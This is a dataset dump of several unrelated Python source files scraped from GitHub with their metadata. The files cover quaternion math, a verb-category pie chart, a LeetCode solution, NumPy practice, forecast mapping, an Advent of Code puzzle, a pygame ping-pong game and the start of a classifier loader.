ay, az = -ax, -ay, -az\n if frame:\n ax, az = az, ax\n return ax, ay, az\n\n\ndef quat_inverse(q):\n q = np.squeeze(q)\n w, x, y, z = q\n Nq = w * w + x * x + y * y + z * z\n return np.array([w, -x, -y, -z] / Nq)\n\n\ndef quat2mat(q):\n \"\"\" Calculate rotation matrix corresponding to quaternion\n Parameters\n ----------\n q : 4 element array-like\n Returns\n -------\n M : (3,3) array\n Rotation matrix corresponding to input quaternion *q*\n Notes\n -----\n Rotation matrix applies to column vectors, and is applied to the\n left of coordinate vectors. The algorithm here allows quaternions that\n have not been normalized.\n References\n ----------\n Algorithm from http://en.wikipedia.org/wiki/Rotation_matrix#Quaternion\n Examples\n --------\n >>> import numpy as np\n >>> M = quat2mat([1, 0, 0, 0]) # Identity quaternion\n >>> np.allclose(M, np.eye(3))\n True\n >>> M = quat2mat([0, 1, 0, 0]) # 180 degree rotn around axis 0\n >>> np.allclose(M, np.diag([1, -1, -1]))\n True\n \"\"\"\n w, x, y, z = q\n Nq = w * w + x * x + y * y + z * z\n if Nq < _FLOAT_EPS:\n return np.eye(3)\n s = 2.0 / Nq\n X = x * s\n Y = y * s\n Z = z * s\n wX = w * X\n wY = w * Y\n wZ = w * Z\n xX = x * X\n xY = x * Y\n xZ = x * Z\n yY = y * Y\n yZ = y * Z\n zZ = z * Z\n return np.array(\n [[1.0 - (yY + zZ), xY - wZ, xZ + wY], [xY + wZ, 1.0 - (xX + zZ), yZ - wX], [xZ - wY, yZ + wX, 1.0 - (xX + yY)]]\n )\n\n\ndef mat2quat(M):\n \"\"\" Calculate quaternion corresponding to given rotation matrix\n\n Parameters\n ----------\n M : array-like\n 3x3 rotation matrix\n\n Returns\n -------\n q : (4,) array\n closest quaternion to input matrix, having positive q[0]\n\n Notes\n -----\n Method claimed to be robust to numerical errors in M\n\n Constructs quaternion by calculating maximum eigenvector for matrix\n K (constructed from input `M`). Although this is not tested, a\n maximum eigenvalue of 1 corresponds to a valid rotation.\n\n A quaternion q*-1 corresponds to the same rotation as q; thus the\n sign of the reconstructed quaternion is arbitrary, and we return\n quaternions with positive w (q[0]).\n\n References\n ----------\n * http://en.wikipedia.org/wiki/Rotation_matrix#Quaternion\n * Bar-Itzhack, Itzhack Y. (2000), \"New method for extracting the\n quaternion from a rotation matrix\", AIAA Journal of Guidance,\n Control and Dynamics 23(6):1085-1087 (Engineering Note), ISSN\n 0731-5090\n\n Examples\n --------\n >>> import numpy as np\n >>> q = mat2quat(np.eye(3)) # Identity rotation\n >>> np.allclose(q, [1, 0, 0, 0])\n True\n >>> q = mat2quat(np.diag([1, -1, -1]))\n >>> np.allclose(q, [0, 1, 0, 0]) # 180 degree rotn around axis 0\n True\n\n Notes\n -----\n http://en.wikipedia.org/wiki/Rotation_matrix#Quaternion\n\n Bar-Itzhack, Itzhack Y. (2000), \"New method for extracting the\n quaternion from a rotation matrix\", AIAA Journal of Guidance,\n Control and Dynamics 23(6):1085-1087 (Engineering Note), ISSN\n 0731-5090\n\n \"\"\"\n # Qyx refers to the contribution of the y input vector component to\n # the x output vector component. Qyx is therefore the same as\n # M[0,1]. The notation is from the Wikipedia article.\n Qxx, Qyx, Qzx, Qxy, Qyy, Qzy, Qxz, Qyz, Qzz = M.flat\n # Fill only lower half of symmetric matrix\n K = (\n np.array(\n [\n [Qxx - Qyy - Qzz, 0, 0, 0],\n [Qyx + Qxy, Qyy - Qxx - Qzz, 0, 0],\n [Qzx + Qxz, Qzy + Qyz, Qzz - Qxx - Qyy, 0],\n [Qyz - Qzy, Qzx - Qxz, Qxy - Qyx, Qxx + Qyy + Qzz],\n ]\n )\n / 3.0\n )\n # Use Hermitian eigenvectors, values for speed\n vals, vecs = np.linalg.eigh(K)\n # Select largest eigenvector, reorder to w,x,y,z quaternion\n q = vecs[[3, 0, 1, 2], np.argmax(vals)]\n # Prefer quaternion with positive w\n # (q * -1 corresponds to same rotation as q)\n if q[0] < 0:\n q *= -1\n return q\n\n\ndef euler2quat(ai, aj, ak, axes=\"sxyz\"):\n \"\"\"Return `quaternion` from Euler angles and axis sequence `axes`\n Parameters\n ----------\n ai : float\n First rotation angle (according to `axes`).\n aj : float\n Second rotation angle (according to `axes`).\n ak : float\n Third rotation angle (according to `axes`).\n axes : str, optional\n Axis specification; one of 24 axis sequences as string or encoded\n tuple - e.g. ``sxyz`` (the default).\n Returns\n -------\n quat : array shape (4,)\n Quaternion in w, x, y z (real, then vector) format\n Examples\n --------\n >>> q = euler2quat(1, 2, 3, 'ryxz')\n >>> np.allclose(q, [0.435953, 0.310622, -0.718287, 0.444435])\n True\n \"\"\"\n try:\n firstaxis, parity, repetition, frame = _AXES2TUPLE[axes.lower()]\n except (AttributeError, KeyError):\n _TUPLE2AXES[axes] # validation\n firstaxis, parity, repetition, frame = axes\n\n i = firstaxis + 1\n j = _NEXT_AXIS[i + parity - 1] + 1\n k = _NEXT_AXIS[i - parity] + 1\n\n if frame:\n ai, ak = ak, ai\n if parity:\n aj = -aj\n\n ai /= 2.0\n aj /= 2.0\n ak /= 2.0\n ci = math.cos(ai)\n si = math.sin(ai)\n cj = math.cos(aj)\n sj = math.sin(aj)\n ck = math.cos(ak)\n sk = math.sin(ak)\n cc = ci * ck\n cs = ci * sk\n sc = si * ck\n ss = si * sk\n\n q = np.empty((4,))\n if repetition:\n q[0] = cj * (cc - ss)\n q[i] = cj * (cs + sc)\n q[j] = sj * (cc + ss)\n q[k] = sj * (cs - sc)\n else:\n q[0] = cj * cc + sj * ss\n q[i] = cj * sc - sj * cs\n q[j] = cj * ss + sj * cc\n q[k] = cj * cs - sj * sc\n if parity:\n q[j] *= -1.0\n\n if q[0] < 0:\n q *= -1\n return q\n\n\ndef quat2euler(quaternion, axes=\"sxyz\"):\n \"\"\"Euler angles from `quaternion` for specified axis sequence `axes`\n Parameters\n ----------\n q : 4 element sequence\n w, x, y, z of quaternion\n axes : str, optional\n Axis specification; one of 24 axis sequences as string or encoded\n tuple - e.g. ``sxyz`` (the default).\n Returns\n -------\n ai : float\n First rotation angle (according to `axes`).\n aj : float\n Second rotation angle (according to `axes`).\n ak : float\n Third rotation angle (according to `axes`).\n Examples\n --------\n >>> angles = quat2euler([0.99810947, 0.06146124, 0, 0])\n >>> np.allclose(angles, [0.123, 0, 0])\n True\n \"\"\"\n return mat2euler(quat2mat(quaternion), axes)\n\n\ndef qmult(q1, q2):\n \"\"\" Multiply two quaternions\n Parameters\n ----------\n q1 : 4 element sequence\n q2 : 4 element sequence\n Returns\n -------\n q12 : shape (4,) array\n Notes\n -----\n See : http://en.wikipedia.org/wiki/Quaternions#Hamilton_product\n \"\"\"\n w1, x1, y1, z1 = q1\n w2, x2, y2, z2 = q2\n w = w1 * w2 - x1 * x2 - y1 * y2 - z1 * z2\n x = w1 * x2 + x1 * w2 + y1 * z2 - z1 * y2\n y = w1 * y2 + y1 * w2 + z1 * x2 - x1 * z2\n z = w1 * z2 + z1 * w2 + x1 * y2 - y1 * x2\n q = np.array([w, x, y, z])\n if q[0] < 0:\n q *= -1\n return q\n","repo_name":"liyi14/mx-DeepIM","sub_path":"lib/pair_matching/RT_transform.py","file_name":"RT_transform.py","file_ext":"py","file_size_in_byte":18368,"program_lang":"python","lang":"en","doc_type":"code","stars":248,"dataset":"github-code","pt":"35"} +{"seq_id":"4988441712","text":"import json\nimport pandas as pd\nimport glob\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef find_cate_verb(corpus, dico_dir):\n\n #On cherche les lemmes des verbes dans le tsv des verbes\n with open (corpus, 'r') as f:\n df = pd.read_table(f)\n verbes_lemmes = df[\"lemme\"] # ATTENTION à bien vérifier que le csv à une colonne nommée lemme\n\n # On initilaise les dico à remplir.\n dico_cat_verbe={}\n dico_count={}\n merde=[]\n bon=[]\n\n # On cherche dans le csv les verbe en fonction des catégories\n with open(f'{dico_dir}/categorie_verbe_grp.csv', 'r') as file:\n df = pd.read_csv(file)\n\n column_headers = list(df.columns.values)\n\n for head in column_headers:\n dico_count[head]=''\n #On remplit le dico avec en key la catégorie et en valeur la liste de verbes.\n dico_cat_verbe.update({head:list(df[head])})\n\n for cat, verbe in dico_cat_verbe.items():\n count=0\n #pour chaque verbe dans la liste de verbes de chaque catégorie\n for v in verbe:\n #pour chaque lemme dans les appellations\n for lemme in verbes_lemmes:\n if lemme == v:\n count+=1\n dico_count[cat]=count\n\n return dico_count\n \ndef make_piechart():\n dico_verbe = find_cate_verb('./lemma_verb_T.tsv', '../../dico_vb')\n mylabels=[]\n mydata=[]\n print(dico_verbe)\n for k, v in dico_verbe.items():\n mylabels.append(k)\n mydata.append(v)\n y = np.array(mydata)\n colors = ['blue', 'red', 'green', 'orange', 'purple', 'brown', 'gray', 'olive', 'cyan', \n 'magenta', 'teal', 'navy', 'salmon', 'gold', 'indigo', 'lavender', 'tan', 'coral', 'lime']\n print(mylabels)\n print(y)\n plt.pie(y, labels = mylabels, colors = colors, autopct='%1.0f%%', startangle=90)\n plt.title(label = \"Les catégories des verbes présents dans les Thèmes : 'verbe de ...'\")\n plt.legend(title = \"Légende\")\n plt.show() \n\n\n\nmake_piechart()","repo_name":"NataTCHA/TALart","sub_path":"script/cate_verb.py","file_name":"cate_verb.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"38426529751","text":"\"\"\"\nhttps://leetcode-cn.com/problems/3sum-closest/\n\n给你一个长度为 n 的整数数组 nums 和 一个目标值 target。请你从 nums 中选出三个整数,使它们的和与 target 最接近。\n\n返回这三个数的和。\n\n假定每组输入只存在恰好一个解。\n\n示例 1:\n 输入:nums = [-1,2,1,-4], target = 1\n 输出:2\n 解释:与 target 最接近的和是 2 (-1 + 2 + 1 = 2) 。\n\n示例 2:\n 输入:nums = [0,0,0], target = 1\n 输出:0\n\n提示:\n 3 <= nums.length <= 1000\n -1000 <= nums[i] <= 1000\n -10^4 <= target <= 10^4\n\n\"\"\"\nfrom typing import List\n\n\"\"\" 方法一:排序 + 双指针\n 枚举第一个元素 a,对于剩下的两个元素 b 和 c,我们希望它们的和最接近 target−a \"\"\"\nclass Solution:\n def threeSumClosest(self, nums: List[int], target: int) -> int:\n nums.sort()\n n = len(nums)\n best = 10 ** 7\n \n def update(cur): # 根据差值的绝对值来更新答案\n nonlocal best\n if abs(cur - target) < abs(best - target):\n best = cur\n \n for i in range(n): # 枚举第一个元素 a\n if i > 0 and nums[i] == nums[i - 1]: # 保证和上一次枚举的元素不相等\n continue\n # 为了防止重复枚举,我们在位置 [i+1,n) 的范围内枚举 b 和 c\n j = i + 1 # b 的指针初始位置,即左边界\n k = n - 1 # c 的指针初始位置,即右边界\n while j < k:\n s = nums[i] + nums[j] + nums[k] # 在每一步枚举的过程中,用 a+b+c 来更新答案\n if s == target: # 如果和为 target 直接返回答案\n return target\n update(s) # 使用 update 函数来更新答案\n if s > target: # 如果和大于 target,\n k0 = k - 1 # 移动 c 对应的指针\n while j < k0 and nums[k0] == nums[k]: # 移动到下一个不相等的元素\n k0 -= 1 # 将 c 的指针向左移动一个位置\n k = k0\n else: # 如果和小于 target,\n j0 = j + 1 # 移动 b 对应的指针\n while j0 < k and nums[j0] == nums[j]: # 移动到下一个不相等的元素\n j0 += 1 # 将 b 的指针向右移动一个位置\n j = j0\n return best\n \n\"\"\" 方法2:排序 + 双指针 (精简版) \"\"\"\nclass Solution:\n def threeSumClosest(self, nums: List[int], target: int) -> int:\n n = len(nums)\n nums = sorted(nums)\n closest = 10 ** 7\n ans = 0\n\n for i in range(n):\n j = i + 1 # b 的指针初始位置,即左边界\n k = n - 1 # c 的指针初始位置,即右边界\n while j < k:\n sum3 = nums[i] + nums[j] + nums[k]\n if sum3 < target: # 如果三数和小于 target,\n j += 1 # 将 b 的指针向右移动一个位置\n elif sum3 > target: # 如果和大于 target\n k -= 1 # 将 c 的指针向左移动一个位置\n else: # 如果和为 target 直接返回答案\n return sum3 # 直接返回答案\n if closest > abs(sum3 - target):\n closest = abs(sum3 - target)\n ans = sum3\n return ans\n\nif __name__ == \"__main__\":\n nums = [-1,2,1,-4]\n target = 1\n sol = Solution()\n result = sol.threeSumClosest(nums, target)\n print (result)","repo_name":"jasonmayday/LeetCode","sub_path":"leetcode_algorithm/2_medium/0016_最接近的三数之和.py","file_name":"0016_最接近的三数之和.py","file_ext":"py","file_size_in_byte":3711,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"6346057694","text":"import random\nchislo1=random.randint(0,99)\nchislo2=random.randint(0,99)\nchislo3=chislo1+chislo2\nprint(\"Введите ответ выражения: \",chislo1,\"+\",chislo2)\notvet=int(input())\nif otvet==chislo3:\n\tprint(\"Правильно, вы угадали\")\nelse:\n\tprint(\"Неправильно, вы неугадали\")","repo_name":"egorchuzhavko/python2kurs","sub_path":"шифр228.py","file_name":"шифр228.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"13452419075","text":"import matplotlib.pyplot as plt\nimport xarray as xr\nimport numpy as np\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\nimport matplotlib.colors as colors\nimport matplotlib as mpl\nfrom matplotlib.colors import BoundaryNorm\nfrom matplotlib.colors import ListedColormap\nimport cartopy.crs as ccrs\nimport cartopy.feature as cfeature\nimport cartopy.io.shapereader as shpreader\nimport cartopy\nimport matplotlib.cm as cm\nfrom cartopy.feature import NaturalEarthFeature\nfrom ..core.utilities import *\n\ndef colormap(clevs,cmapname,begin,end,whiteinmiddle):\n # returns a color map (cmap) and its normalization (norm)\n # input variables:\n # clevs = contour levels\n # cmapname = matplotlib color map name\n # begin = a number 0-1 on where to begin in the color map\n # end = a number 0-1 on where to end in the color map\n # whiteinmiddle = for contour levels that straddle zero, 'yes' puts white in the middle and 'no' does not\n import matplotlib.pyplot as plt\n cols = plt.get_cmap(cmapname, len(clevs))(np.linspace(begin,end,len(clevs)+1))\n if len(clevs)%2==0 and whiteinmiddle=='yes':\n cols[int(len(clevs)/2),:]=1\n cmap = ListedColormap(cols[1:-1])\n cmap.set_over(cols[-1])\n cmap.set_under(cols[0])\n norm = BoundaryNorm(boundaries=clevs,ncolors=len(clevs)-1)\n return cmap,norm\n\ndef lighten_color(color,amount):\n \"\"\"\n Lightens the given color by multiplying (1-luminosity) by the given amount.\n Input can be matplotlib color string, hex string, or RGB tuple.\n\n Examples:\n >> lighten_color('g', 0.3)\n >> lighten_color('#F034A3', 0.6)\n >> lighten_color((.3,.55,.1), 0.5)\n \"\"\"\n import matplotlib.colors as mc\n import colorsys\n try:\n c = mc.cnames[color]\n except:\n c = color\n c = colorsys.rgb_to_hls(*mc.to_rgb(c))\n return colorsys.hls_to_rgb(c[0], 1 - amount * (1 - c[1]), c[2])\n\n\nbounds = [40,45,50,55,60,65,70,75,80]\nnbounds = [40,45,50]\n\nbn_cmap = plt.get_cmap('BrBG_r') # define the colormap\nbn_cmaplist = [bn_cmap(i) for i in range(bn_cmap.N)][bn_cmap.N//2:]\n\n# create the new map\nbn_cmap = mpl.colors.LinearSegmentedColormap.from_list('BNCMAP', bn_cmaplist, bn_cmap.N//2)\nif 'BNCMAP' not in plt.colormaps():\n cm.register_cmap( cmap=bn_cmap, name=None, override_builtin=True)\n# define the bins and normalize\nbn_norm = mpl.colors.BoundaryNorm(bounds, bn_cmap.N//2)\n\nan_cmap = plt.get_cmap('BrBG') # define the colormap\nan_cmaplist = [an_cmap(i) for i in range(an_cmap.N)][an_cmap.N//2:]\n\n# create the new map\nan_cmap = mpl.colors.LinearSegmentedColormap.from_list('ANCMAP', an_cmaplist, an_cmap.N//2)\nif 'ANCMAP' not in plt.colormaps():\n cm.register_cmap( cmap=an_cmap, name=None, override_builtin=True)\n# define the bins and normalize\nan_norm = mpl.colors.BoundaryNorm(bounds, an_cmap.N//2)\n\n\nnn_cmap = plt.get_cmap('Greys') # define the colormap\nnn_cmaplist = [nn_cmap(i) for i in range(nn_cmap.N)][:nn_cmap.N//2+2]\n\n# create the new map\nnn_cmap = mpl.colors.LinearSegmentedColormap.from_list('NNCMAP', nn_cmaplist, nn_cmap.N//2)\nif 'NNCMAP' not in plt.colormaps():\n cm.register_cmap( cmap=nn_cmap, name=None, override_builtin=True)\n# define the bins and normalize\nnn_norm = mpl.colors.BoundaryNorm(nbounds, nn_cmap.N//2)\n\ndef view_probabilistic(X, x_lat_dim=None, x_lon_dim=None, x_sample_dim=None, x_feature_dim=None, title='', coastlines=False, borders=True, ocean=True, label=None, label_loc=(0.01, 0.98), savefig=None, drymask=None):\n x_lat_dim, x_lon_dim, x_sample_dim, x_feature_dim = guess_coords(X, x_lat_dim, x_lon_dim, x_sample_dim, x_feature_dim)\n assert x_sample_dim is None, 'View probabilistic requires you to select across sample dim to eliminate that dimension first'\n \n #check_all(X, x_lat_dim, x_lon_dim, x_sample_dim, x_feature_dim)\n assert x_lat_dim in X.coords.keys(), 'XCast requires a dataset_lat_dim to be a coordinate on X'\n assert x_lon_dim in X.coords.keys(), 'XCast requires a dataset_lon_dim to be a coordinate on X'\n assert x_feature_dim in X.coords.keys(), 'XCast requires a dataset_feature_dim to be a coordinate on X'\n check_type(X, x_lat_dim, x_lon_dim, x_sample_dim, x_feature_dim)\n\n fig, ax = plt.subplots(nrows=1, ncols=1, figsize=(7, 9), subplot_kw={'projection': ccrs.PlateCarree()})\n bounds = [40,45,50,55,60,65,70,75,80]\n nbounds = [40,45,50]\n mask = X.mean(x_feature_dim)\n mask = mask.where(np.isnan(mask), other=1)\n argmax = X.fillna(-999).argmax(x_feature_dim) * mask\n\n\n dct1, dct2, dct3 = {x_feature_dim: 0}, {x_feature_dim: 1}, {x_feature_dim: 2}\n flat = mask.where(argmax != 2, other=X.isel(**dct3))\n flat = flat.where(argmax != 1, other=X.isel(**dct2))\n flat = flat.where(argmax != 0, other=X.isel(**dct1)) * mask\n\n\n CS3 = flat.where(argmax == 2, other=np.nan).plot(ax=ax, add_colorbar=False, vmin=0.35, vmax=0.85, cmap=plt.get_cmap('ANCMAP', 10))\n CS1 = flat.where(argmax == 0, other=np.nan).plot(ax=ax, add_colorbar=False, vmin=0.35, vmax=0.85, cmap=plt.get_cmap('BNCMAP', 10))\n CS2 = flat.where(argmax == 1, other=np.nan).plot(ax=ax, add_colorbar=False, vmin=0.35, vmax=0.55, cmap=plt.get_cmap('NNCMAP', 4))\n\n if drymask is not None:\n dmcmap = plt.get_cmap('RdBu').copy()\n dmcmap.set_under('lavenderblush')\n drymask = xr.ones_like(drymask).where(np.isnan(drymask), other=np.nan)\n drymask.plot(ax=ax, add_colorbar=False, vmin=22, vmax=23, cmap=dmcmap)\n\n\n axins_f_bottom = inset_axes(ax, width=\"35%\", height=\"5%\", loc='lower left', bbox_to_anchor=(-0, -0.15, 1, 1), bbox_transform=ax.transAxes,borderpad=0.1 )\n axins2_bottom = inset_axes(ax, width=\"20%\", height=\"5%\", loc='lower center', bbox_to_anchor=(-0.0, -0.15, 1, 1), bbox_transform=ax.transAxes, borderpad=0.1 )\n axins3_bottom = inset_axes(ax, width=\"35%\", height=\"5%\", loc='lower right', bbox_to_anchor=(0, -0.15, 1, 1), bbox_transform=ax.transAxes, borderpad=0.1 )\n\n\n cbar_fbl = fig.colorbar(CS1, ax=ax, cax=axins_f_bottom, orientation='horizontal')\n cbar_fbl.set_label('Below-Normal (%)')\n cbar_fbl.set_ticks([i /100.0 for i in bounds])\n cbar_fbl.set_ticklabels(bounds)\n\n\n cbar_fbc = fig.colorbar(CS2, ax=ax, cax=axins2_bottom, orientation='horizontal')\n cbar_fbc.set_label('Near-Normal (%)')\n cbar_fbc.set_ticks([i /100.0 for i in nbounds])\n cbar_fbc.set_ticklabels(nbounds)\n\n cbar_fbr = fig.colorbar(CS3, ax=ax, cax=axins3_bottom, orientation='horizontal')\n cbar_fbr.set_label('Above-Normal (%)')\n cbar_fbr.set_ticks([i /100.0 for i in bounds])\n cbar_fbr.set_ticklabels(bounds)\n\n if ocean:\n ocean = NaturalEarthFeature(category='physical',name='ocean',scale='50m')\n ax.add_feature(ocean,facecolor= lighten_color('lightblue',0.3),edgecolor='none')\n\n if coastlines:\n ax.coastlines()\n\n if borders is True:\n countryshp = shpreader.natural_earth(resolution='50m',category='cultural',name='admin_0_countries')\n countryreader = shpreader.Reader(countryshp)\n countries = countryreader.records()\n for country in countries:\n ax.add_geometries([country.geometry],ccrs.PlateCarree(),facecolor='none',edgecolor='black',lw=0.75)\n elif borders:\n countryreader = shpreader.Reader(borders)\n countries = countryreader.records()\n for country in countries:\n ax.add_geometries([country.geometry],ccrs.PlateCarree(),facecolor='none',edgecolor='black',lw=0.75)\n else:\n pass\n\n if label is not None:\n props = dict( facecolor='white', alpha=1, edgecolor='black')\n ax.text(label_loc[0], label_loc[1], label, transform=ax.transAxes, fontsize=9, verticalalignment='top', bbox=props)\n\n\n ax.set_title(title)\n\n if savefig is not None:\n plt.savefig(savefig, dpi=100)\n","repo_name":"kjhall01/xcast","sub_path":"src/visualization/prob.py","file_name":"prob.py","file_ext":"py","file_size_in_byte":7766,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"35"} +{"seq_id":"36464333339","text":"import numpy as np\narr1d = np.array([1,2,3,4,5,])\narr2d = np.array([[1,2,3],[4,5,6]])\nprint(arr1d)\nprint(arr2d)\narr = np.array([1,2,3,4,5,6])\nprint(arr[2])\nprint(arr[1:4])\n\nx = [1,2,3]\ny = [4,5,6]\n\nprint(x+y)\n\nsum1 = np.array([1,2,3])\nsum2 = np.array([4,5,6])\nprint(sum1 + sum2)\nprint(sum1 * sum2)\n\n\n\nresizeArr = np.array([1,2,3,4,5,6])\nprint(resizeArr.reshape(2,3))\n\nstatArr = np.array([1,2,3,4,5,6])\nmean = np.mean(statArr)\nmax_val =np.sum(statArr)\ntotal = np.sum(statArr)\n\n\n\n\nrandArr =np.random.randint(25, size=(5))\nmeanArr = np.mean(randArr)\nmaxArr = np.max(randArr)\nminArr = np.min(randArr)\nsumArr = np.sum(randArr)\nsortArr = np.sort(randArr)\nshuffleArr = np.random.permutation(randArr)\nsquareArr = randArr * randArr\nsqrtArr = np.sqrt(randArr)\nprint(meanArr, maxArr, minArr, sumArr, sortArr, shuffleArr, squareArr, sqrtArr, randArr, sep = \"//* \") \n \n\n\n\n","repo_name":"SusannaAvdalyan/ML_Susanna","sub_path":"session 2/arrays.py","file_name":"arrays.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"75197138980","text":"# Session3 - Operators and Conditions: Example 1 - Moving Circle Improved\n# SCRP\n# Daryl Dang\n\n# GLOBAL VARIABLES\nradius = 50\nx_pos = 25 # Starting x position\ny_pos = 25 # Staring y position\n\ndef setup():\n size(500, 500) # Set the display window size to 500 by 500 pixels.\n\ndef draw():\n global x_pos, y_pos, radius # Declare all of the global variables that we are going to be modifying\n \n background(0) # This improves the previous iteration of the moving circle\n # This is necessary as it replaces the previously drawn\n # circle. That way, we don't get a huge trail of circles.\n \n circle(x_pos, y_pos, radius) # Draw the circle\n radius += 1 # Grow the size\n x_pos += 1 # Move the x position\n y_pos += 1 # Move the y position\n","repo_name":"dellod/processing_examples","sub_path":"Session3 - Operators and Conditions/example1_moving_circle_improved/example1_moving_circle_improved.pyde","file_name":"example1_moving_circle_improved.pyde","file_ext":"pyde","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"34859363761","text":"import numpy as np\n\n\ndef summable(number, preamble):\n \"\"\" Checks if any given pair in the preamble sums up to the specified number.\n\n :param number: int\n :param preamble: numpy array\n :return: boolean\n \"\"\"\n\n for i in range(len(preamble)):\n for j in range(len(preamble)):\n if i != j and preamble[i] + preamble[j] == number:\n return True\n\n return False\n\n\ndef input_valid(numbers):\n \"\"\" Checks if given input is valid. If invalid it returns the number that failed the condition, if not returns None.\n\n :param numbers: numpy array of numbers\n :return: int\n \"\"\"\n preamble_index = np.array([0, 25])\n for i in range(preamble_index[1], len(numbers)):\n if not summable(numbers[i], numbers[preamble_index[0]:preamble_index[1]]):\n return numbers[i]\n preamble_index += 1\n\n return None\n\n\ndef find_contiguous_set(number, numbers):\n \"\"\" Finds a contiguous set of numbers that sum up to number.\n\n :param number: int\n :param numbers: numpy array of all numbers\n :return: set\n \"\"\"\n for i in range(len(numbers)):\n contiguous_set = np.array([numbers[i]])\n for j in range(i+1, len(numbers)):\n contiguous_set = np.append(contiguous_set, numbers[j])\n if np.sum(contiguous_set) == number:\n return contiguous_set\n if np.sum(contiguous_set) > number:\n break\n\n return None\n\n\ndef get_encryption_weakness(numbers):\n \"\"\" Gets encryption weakness by adding smallest and largest value of a list.\n\n :param numbers: np array\n :return: int\n \"\"\"\n return np.sum([np.min(numbers), np.max(numbers)])\n\n\ndef main():\n # load file\n file_name = 'input'\n numbers = np.loadtxt(file_name, dtype=np.int64)\n\n # task 1: find invalid number\n invalid_number = input_valid(numbers)\n print('Number {} is invalid!'.format(invalid_number))\n\n # task 2: find contiguous set that sums up to invalid_number and print encryption_weakness\n contiguous_set = find_contiguous_set(invalid_number, numbers)\n print('Contiguous set that fixes the number is {}'.format(contiguous_set))\n encryption_weakness = get_encryption_weakness(contiguous_set)\n print('Encryption weakness is {}'.format(encryption_weakness))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"tcq1/adventofcode","sub_path":"09/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"25365761954","text":"#ping_pong.py\r\n\r\nimport pygame\r\nimport os\r\nimport time\r\nimport random\r\npygame.init()\r\n\r\nPATH = os.path.dirname(__file__) + os.sep\r\n\r\n\r\nCOLOR_WHITE = (255, 255, 255)\r\nFPS = 30\r\n\r\nclass GameSprite(pygame.sprite.Sprite):\r\n def __init__(self, imageS ,w, h, x, y, speed):\r\n super().__init__()\r\n self.image = pygame.image.load(imageS)\r\n self.image = pygame.transform.scale(self.image, (w, h))\r\n self.rect = self.image.get_rect()\r\n \r\n self.speed = speed\r\n self.w = w\r\n self.h = h\r\n self.x = x\r\n self.y = y\r\n self.rect.x = x\r\n self.rect.y = y\r\n\r\n #def create(self):\r\n #self.image = pygame.transform.scale(self.image, (self.w, self.h))\r\n def show(self):\r\n wind.blit(self.image, (self.rect.x, self.rect.y))\r\n \r\n\r\nclass Hero(GameSprite):\r\n #def __init__(self, image, w, h, x, y, speed):\r\n #super(). __init__(image, w, h, x, y, speed)\r\n def control(self):\r\n keys = pygame.key.get_pressed()\r\n #events = pygame.event.ge()\r\n if keys [pygame.K_w] == True:\r\n self.y -= 15\r\n\r\n if keys [pygame.K_s] == True:\r\n self.y += 15\r\n\r\n self.rect.x = self.x\r\n self.rect.y = self.y\r\n\r\n\r\nclass Hero2(GameSprite):\r\n #def __init__(self, image, w, h, x, y, speed):\r\n #super(). __init__(image, w, h, x, y, speed)\r\n def m_control(self):\r\n keys = pygame.key.get_pressed()\r\n #events = pygame.event.ge()\r\n if keys [pygame.K_UP] == True:\r\n self.y -= 15\r\n\r\n if keys [pygame.K_DOWN] == True:\r\n self.y += 15\r\n\r\n self.rect.x = self.x\r\n self.rect.y = self.y\r\n\r\n\r\nclass Ball(GameSprite):\r\n def __init__(self, image, w, h, x, y, speed):\r\n super(). __init__(image, w, h, x, y, speed)\r\n self.directX = 1\r\n self.directY = 1\r\n\r\n def move(self):\r\n \r\n self.rect.x += self.speed * self.directX\r\n self.rect.y += self.speed * self.directY\r\n\r\n if self.rect.y > 550 or self.rect.y < 0:\r\n self.directY *= - 1\r\n if pygame.sprite.collide_rect(self, platforme1) or pygame.sprite.collide_rect(self, platforme2):\r\n self.directX *= -1\r\n \r\n \r\n\r\n\r\n \r\nwind = pygame.display.set_mode((1000, 600))\r\nbeg = GameSprite(PATH+'seryj_odnotonnyj_fon_138531_1280x720.jpg', 1000,600, 0,0,0)\r\nplatforme1 = Hero(PATH+'platforme.png', 40, 180,80,200 , 0 )\r\nplatforme2 = Hero2(PATH+'platforme.png', 40, 180, 850, 200, 0)\r\nball = Ball(PATH+'ball.png', 50, 50,450, 250, 7)\r\n\r\nfont = pygame.font.SysFont('Arial', 40)\r\n\r\n\r\n\r\ngame = True\r\n\r\n\r\n\r\nclock = pygame.time.Clock()\r\n\r\nwhile game:\r\n\r\n beg.show()\r\n platforme1.control()\r\n platforme1.show()\r\n platforme2.m_control()\r\n platforme2.show()\r\n ball.move()\r\n ball.show()\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n game = False\r\n\r\n wind.blit(text1, (10,10))\r\n\r\n clock.tick(FPS)\r\n pygame.display.update()","repo_name":"kanaturik/ping_pong","sub_path":"#ping_pong.py","file_name":"#ping_pong.py","file_ext":"py","file_size_in_byte":3019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"41658099262","text":"'''\nHaving trained a logistic classifier with the optimal configuration for each utterance type:\n- load all the classifiers into a single object\n- receive an unannotated CSV file\n- perform and output the classification scores of the new CSV file\n'''\nimport os,pickle, jsonpickle\nimport pandas as pd\n\nfrom read_input_file import process_file, get_filenames_in_dir\nfrom sentence_embeddings import load_embeddings_model\nfrom get_dataset import extract_features_period,save_dataframe_as_CSV\n\n\nif __name__ == \"__main__\":\n \n import config as cfg\n csv_folder=cfg.csv_folder+\"/2020\"#where the input files are\n 